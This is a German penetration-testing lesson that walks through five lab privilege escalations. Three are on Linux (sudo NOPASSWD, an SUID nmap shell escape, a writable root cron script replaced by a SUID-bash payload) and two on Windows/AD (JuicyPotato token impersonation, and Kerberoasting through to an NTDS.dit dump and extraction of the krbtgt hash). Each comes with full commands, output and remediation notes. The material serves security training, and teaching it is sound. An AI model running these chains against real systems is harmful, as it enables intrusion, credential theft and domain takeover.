Zum Hauptinhalt springen

Rechteausweitung — Geführte Demonstration

Fünf Eskalationen von Anfang bis Ende. Drei unter Linux (Metasploitable 2), zwei unter Windows (Metasploitable 3 + ein kleines AD-Lab). Jedes Mal: der Kontext, der Befehl, der Nachweis, der Bericht.

Isoliertes Lab

Alle VMs befinden sich im Host-only-Netzwerk. Kein Befehl verlässt das Lab.

Was Sie nach dieser Lektion können​

  • Fünf unterschiedliche Eskalationspfade erkennen und ausnutzen.
  • linpeas, winpeas, gtfobins, bloodhound sauber einsetzen.
  • Ein Kerberos-TGS mit hashcat -m 13100 knacken.
  • Anmeldedaten im Speicher einer Windows-Maschine extrahieren.
  • Einen im Bericht verwendbaren Eskalationsbefund schreiben.

Das Szenario​

MaschineRolleIP
KaliAngreifer10.10.10.5
Metasploitable 2 (Linux)Linux-Ziel, Sitzung msfadmin erlangt10.10.10.20
Metasploitable 3 WinEigenständiges Windows-Ziel, Sitzung vagrant erlangt10.10.10.12
DC AD-LabDomänencontroller acme.local10.10.10.100
WS01 AD-LabDomänenmitglied-Windows-Rechner, Sitzung alice erlangt10.10.10.101

Das kleine AD-Lab baut man mit GOAD auf, oder mit einem einfachen Windows Server + Windows-10-Client. Wir kommen im Modul 10 darauf zurück.


Eskalation 1 (Linux) — sudo vim mit NOPASSWD​

Sie haben eine msfadmin-Shell auf Metasploitable 2. Erste Frage:

sudo -l

Ausgabe:

User msfadmin may run the following commands on this host:
(ALL) NOPASSWD: ALL

Pädagogischer Volltreffer: msfadmin hat alle sudo-Rechte ohne Passwort. vim ist gar nicht nötig:

sudo bash
whoami
# root

Karteikarte:

## Eskalation 1 — sudo NOPASSWD ALL (Metasploitable 2)
- Ausgangskonto: msfadmin
- Endkonto: root
- Pfad: sudo -l zeigt "NOPASSWD: ALL" → sudo bash
- Auswirkung: vollständige Kompromittierung der Maschine
- Empfehlung: sudoers-Zeile entfernen, präzise Befehle festlegen

Eskalation 2 (Linux) — SUID auf nmap​

Simulieren wir ein subtileres Szenario. Auf einer anderen VM hat msfadmin kein sudo. Er hat ein SUID-nmap:

find / -perm -4000 -type f 2>/dev/null | head

Ausgabe:

/usr/bin/nmap
/bin/mount
/bin/su
/usr/bin/passwd

/usr/bin/nmap mit SUID root ist abnormal. Man schaut in GTFOBins nach → bei alten nmap-Versionen der interaktive Modus:

nmap --interactive
nmap> !sh
sh-3.2# whoami
root

Root über nmap. Karteikarte:

## Eskalation 2 — SUID auf /usr/bin/nmap (interaktiver Modus)
- Ausgangskonto: msfadmin
- Endkonto: root
- Pfad: nmap --interactive → !sh → root-Shell
- Auswirkung: vollständige Kompromittierung
- Empfehlung: SUID entfernen (chmod u-s /usr/bin/nmap), gezielte Capabilities
verwenden, falls nmap ohne Rechte laufen muss

Eskalation 3 (Linux) — Cron mit relativem Pfad​

Erstellen wir künstlich ein Szenario. Als root auf der VM, einmalig:

# Als root
echo '#!/bin/bash' > /usr/local/bin/backup.sh
echo 'echo "backup ran at $(date)" >> /var/log/backup.log' >> /usr/local/bin/backup.sh
chmod +x /usr/local/bin/backup.sh
chown msfadmin:msfadmin /usr/local/bin/backup.sh # <-- absichtlicher Fehler

# Cron-Datei
echo '* * * * * root /usr/local/bin/backup.sh' > /etc/cron.d/backup

Als msfadmin bemerkt man:

ls -la /usr/local/bin/backup.sh
# -rwxr-xr-x 1 msfadmin msfadmin 55 /usr/local/bin/backup.sh

Das Skript gehört msfadmin, wird aber jede Minute von root ausgeführt. Man nutzt es aus:

cat > /usr/local/bin/backup.sh <<'EOF'
#!/bin/bash
cp /bin/bash /tmp/rootbash
chmod +s /tmp/rootbash
EOF

Eine Minute warten:

sleep 65
/tmp/rootbash -p
whoami
# root

Karteikarte:

## Eskalation 3 — Cron mit vom Benutzer beschreibbarem Skript
- Ausgangskonto: msfadmin
- Endkonto: root
- Pfad:
1. cat /etc/cron.d/backup → Skript wird von root ausgeführt
2. ls -la /usr/local/bin/backup.sh → gehört msfadmin
3. Ersetzen des Skripts durch eine SUID-Payload
4. Nach einer Minute: /tmp/rootbash -p → root-Shell
- Auswirkung: vollständige Kompromittierung der Maschine, mit Persistenz
- Empfehlung: chown root:root für alle Skripte in root-Crons

Eskalation 4 (Windows) — WinPEAS und Token-Impersonation​

Auf Metasploitable 3 Windows haben Sie eine vagrant-Sitzung in Meterpreter:

meterpreter > getuid
Server username: METASPLOITABLE3\vagrant

meterpreter > getprivs
Enabled Process Privileges
==========================
SeAssignPrimaryTokenPrivilege
SeIncreaseQuotaPrivilege
SeSecurityPrivilege
SeTakeOwnershipPrivilege
SeLoadDriverPrivilege
SeSystemProfilePrivilege
SeSystemtimePrivilege
SeProfileSingleProcessPrivilege
SeIncreaseBasePriorityPrivilege
SeCreatePagefilePrivilege
SeBackupPrivilege
SeRestorePrivilege
SeShutdownPrivilege
SeDebugPrivilege ← DEBUG !
SeSystemEnvironmentPrivilege
SeChangeNotifyPrivilege
SeRemoteShutdownPrivilege
SeUndockPrivilege
SeManageVolumePrivilege
SeImpersonatePrivilege ← IMPERSONATE !
SeCreateGlobalPrivilege
SeIncreaseWorkingSetPrivilege
SeTimeZonePrivilege
SeCreateSymbolicLinkPrivilege

SeImpersonatePrivilege = man kann ein Token stehlen. Das ist das Konto eines Dienstes oder eines historisch falsch konfigurierten Benutzers.

PrintSpoofer oder JuicyPotato verwenden, um zu SYSTEM zu wechseln:

meterpreter > upload /usr/share/windows-resources/juicypotato/JuicyPotato.exe
meterpreter > shell
C:\> whoami
metasploitable3\vagrant

C:\> JuicyPotato.exe -l 1337 -p cmd.exe -a "/c whoami" -t *
Testing {4991d34b-80a1-4291-83b6-3328366b9097} 1337
....................
[+] authresult 0
{4991d34b-80a1-4291-83b6-3328366b9097};nt authority\system

[+] CreateProcessWithTokenW OK

Auf aktuellen Windows-10/11-Systemen verwendet man je nach Version PrintSpoofer oder RoguePotato.

Karteikarte:

## Eskalation 4 — Token-Impersonation über SeImpersonatePrivilege
- Ausgangskonto: METASPLOITABLE3\vagrant
- Endkonto: NT AUTHORITY\SYSTEM
- Pfad:
1. getprivs zeigt SeImpersonatePrivilege
2. Ausnutzung mit JuicyPotato/PrintSpoofer
3. SYSTEM-Shell
- Auswirkung: vollständige Kontrolle über das System, Hash-Extraktion möglich
- Empfehlung: Dienstkonten mit SeImpersonate minimieren,
Token-Erstellungen über WMI überwachen

Eskalation 5 (AD) — Kerberoasting von Anfang bis Ende​

Sie haben die Sitzung alice auf WS01, einem Rechner, der der Domäne acme.local angehört. Ziel: zu Domain Admin gelangen.

5a. SPNs auflisten​

Von Kali aus, mit Impacket:

impacket-GetUserSPNs -request \
-dc-ip 10.10.10.100 \
acme.local/alice:Alice2024! \
-outputfile preuves/tgs-tickets.txt

Ausgabe:

ServicePrincipalName        Name        MemberOf
MSSQLSvc/sqlserver.acme:1433 svc_sql CN=Service Accounts,CN=Users,DC=acme,DC=local
CIFS/backup.acme.local svc_backup CN=Service Accounts,CN=Users,DC=acme,DC=local

[*] Tickets writtes to preuves/tgs-tickets.txt

Zwei Dienstkonten mit SPN. Zwei erlangte Kerberos-Tickets.

Auszug aus der Datei:

$krb5tgs$23$*svc_sql$acme.local$MSSQLSvc/sqlserver.acme:1433*$abc123def456...

5b. Knacken mit Hashcat​

hashcat -m 13100 preuves/tgs-tickets.txt /usr/share/wordlists/rockyou.txt \
-r /usr/share/hashcat/rules/best64.rule

Nach ein paar Minuten:

$krb5tgs$23$*svc_sql$acme.local$MSSQLSvc/sqlserver.acme:1433*$abc123...:SQLpass2020!

Das Passwort des SQL-Dienstkontos in 3 Minuten.

5c. Übergang​

Mit dem Passwort verbindet man sich:

impacket-psexec acme.local/svc_sql:SQLpass2020!@sqlserver.acme.local

SYSTEM-Shell auf sqlserver.acme.local.

Auf diesem Server, Meterpreter → BloodHound-Kollektor → man sieht:

  • svc_sql ist Mitglied von Backup Operators.
  • Backup Operators kann jede Systemdatei lesen, einschließlich NTDS.dit auf dem DC.

Endgültiger Pfad:

# Vom SQL-Server aus wird ntdsutil verwendet, um NTDS.dit zu kopieren:
ntdsutil "ac in ntds" "ifm" "cr fu C:\temp\dump" q q

# Rückholung per SMB, Extraktion mit impacket-secretsdump:
impacket-secretsdump -ntds NTDS.dit -system SYSTEM LOCAL

Ausgabe:

Administrator:500:aad3b435b51404eeaad3b435b51404ee:31c...:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:8d3...:::

Der Hash von krbtgt = Fähigkeit, ein Golden Ticket zu fälschen = dauerhafter Zugriff auf die Domäne.

5d. Karteikarte​

## Eskalation 5 — Kerberoasting → Backup Operators → NTDS.dit
- Ausgangskonto: ACME\alice (Standardbenutzer)
- Endkonto: Vollständige Kompromittierung (Hash von krbtgt)
- Pfad:
1. impacket-GetUserSPNs → 2 Dienstkonten mit SPN
2. hashcat -m 13100 → Passwort von svc_sql geknackt
3. psexec auf SQL-Server → lokales SYSTEM
4. BloodHound zeigt svc_sql ∈ Backup Operators
5. ntdsutil IFM auf DC → NTDS.dit + SYSTEM-Hive
6. secretsdump → Hash von krbtgt extrahiert
- Auswirkung: vollständige Kompromittierung der Domäne, Golden Ticket möglich
- Empfehlungen:
1. Passwort von svc_sql > 25 Zeichen (widersteht dem Knacken)
2. svc_sql aus der Gruppe Backup Operators entfernen
3. Alle Konten mit SPN prüfen, ihre Passwörter verlängern
4. Zu MSA (Managed Service Accounts) wechseln, die automatisch rotieren

Schritt 6 — BloodHound als Unterstützung​

BloodHound macht Pfade wie den aus Schritt 5 sichtbar. Von Kali aus:

# Kollektor von WS01 aus mit den Zugangsdaten von alice
bloodhound-python -u alice -p 'Alice2024!' -d acme.local \
-ns 10.10.10.100 -c All -o preuves/bloodhound

# Import in Neo4j
neo4j start
bloodhound
# Die .json-Dateien per Drag & Drop in die Oberfläche ziehen

Vorgefertigte Abfrage: Shortest Paths to Domain Admins from Owned.

Man sieht den Pfad alice → svc_sql (via kerberoast) → Backup Operators → DC → Domain Admin in einem Graphen. Das zeigt man dem Kunden. Viel wirkungsvoller als eine Befehlsliste.


Schritt 7 — Die zusammenfassende Tabelle​

| # | Ziel          | Start    | Ankunft    | Pfad                           | Nachweis                     |
| - | -------------- | --------- | ---------- | -------------------------------- | -------------------------- |
| 1 | metasploitable2 | msfadmin | root | sudo NOPASSWD | preuves/01-sudo.log |
| 2 | metasploitable2 | msfadmin | root | SUID auf nmap --interactive | preuves/02-nmap-suid.log |
| 3 | metasploitable2 | msfadmin | root | beschreibbares Cron-Skript | preuves/03-cron.log |
| 4 | metasploitable3 | vagrant | SYSTEM | JuicyPotato / SeImpersonate | preuves/04-potato.log |
| 5 | acme.local | alice | Vollkompromittierung| Kerberoast → Backup Ops → NTDS.dit| preuves/05-kerberoast.log |

Fazit​

In 90 Minuten:

  • Fünf unterschiedliche Eskalationen, fünf unterschiedliche Wege.
  • Fünf Nachweise in einem Ordner.
  • Ein BloodHound-Graph, der die AD-Entdeckung visuell macht.
  • Ein krbtgt-Hash — genug, um alle Teilabhilfen zu überstehen.

Das ist es, wofür ein Kunde bezahlt. Nicht die Scans. Nicht die CVEs. Die Pfade.

Nächste Lektion: an Sie. Drei Eskalationen, drei Wege, drei Karteikarten.